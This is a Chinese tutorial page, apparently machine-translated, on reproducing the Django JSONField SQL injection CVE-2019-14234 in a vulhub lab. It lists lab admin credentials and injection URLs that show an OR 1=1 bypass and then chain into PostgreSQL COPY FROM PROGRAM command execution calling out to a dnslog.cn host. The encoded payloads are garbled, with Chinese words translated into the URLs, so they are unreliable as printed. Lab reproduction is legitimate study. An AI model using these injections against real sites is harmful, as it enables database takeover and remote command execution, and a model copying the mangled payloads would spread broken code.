Django JSONField SQL注入漏洞cve - 2019 - 14234的复现是怎样的

  

Django JSONField SQL注入漏洞cve - 2019 - 14234的复现是怎样的,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

Django是一个开放源代码的网络应用框架,由Python写成。采用了MTV的框架模式,即模型M,视图V和模版t .它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的,即是CMS软件。并于2005年7月在BSD许可证下发布。

该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句.Django通常搭配postgresql数据库,而JSONField是该数据库的一种数据类型。该漏洞的出现的原因在于Django中JSONField类的实现,Django的模型最本质的作用是生成SQL语句,而在Django通过JSONField生成SQL语句时,是通过简单的字符串拼接。

漏洞影响版本:

Django主开发分支

2.2 Django。x & lt;2.2.4

2.1 Django。x & lt;2.1.11

1.11 Django。x & lt;1.11.23

仅作漏洞复现记录与实现,利用流程如下:

一、漏洞环境

本环境采用vulhub搭建

执行以下命令完成环境搭建

 cd  vulhub/django cve - 2019 - 14234/docker-compose  up  - d 

启动完毕后信息如下

漏洞链接:http://192.168.101.152:8000

访问如下图所示

 Django JSONField SQL注入漏洞cve - 2019 - 14234的复现是怎样的

首先访问http://192.168.101.152:8000/admin/登录后台,账户密码为admin/a123123123

 Django JSONField SQL注入漏洞cve - 2019 - 14234的复现是怎样的

二,利用流程

登录后台后首先访问模型集合的管理页面

http://192.168.101.152:8000/admin/vuln/收集/

添加得到参数detail__a& # 39;引发SQL语句报错,其中细节是模型集合的JSONField

http://192.168.101.152:8000/admin/vuln/收集/?detail__a % 27日

 Django JSONField SQL注入漏洞cve - 2019 - 14234的复现是怎样的

构造语句

http://192.168.101.152:8000/admin/vuln/收集/? detail__a % 27) % 3 d % 20或271% - 27% % 3 d1 % 20——201%

由于or 1=1永远为真,所以返回所有结果

 Django JSONField SQL注入漏洞cve - 2019 - 14234的复现是怎样的

Django一般与PostgreSQL一起配合使用,可以尝试利用PostgreSQL高权限命令执行漏洞(cve - 2019 - 9193)

首先访问

http://192.168.101.152:8000/admin/vuln/收集/? detail__title % 27) % 3 d % 20或271% - 27% % 3 bcreate % 20表3 d1 % 20% 201% % 20 cmd_execs (cmd_output % 20文本)% 20

显示没有结果取回,语句已经执行

 Django JSONField SQL注入漏洞cve - 2019 - 14234的复现是怎样的

之后访问

http://192.168.101.152:8000/admin/vuln/收集/? detail__title % 27) % 3 d % 20或271% - 27% % 3 d1 % 20% 201% 3 bcopy % 20 cmd_execs % 20从% 20程序% 27平20% % 20 h7f2ni.dnslog.cn % 27 - 20% % 20

执行命令

 Django JSONField SQL注入漏洞cve - 2019 - 14234的复现是怎样的

可以看的到,命令已经成功执行

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注行业资讯频道,感谢您对的支持。

Django JSONField SQL注入漏洞cve - 2019 - 14234的复现是怎样的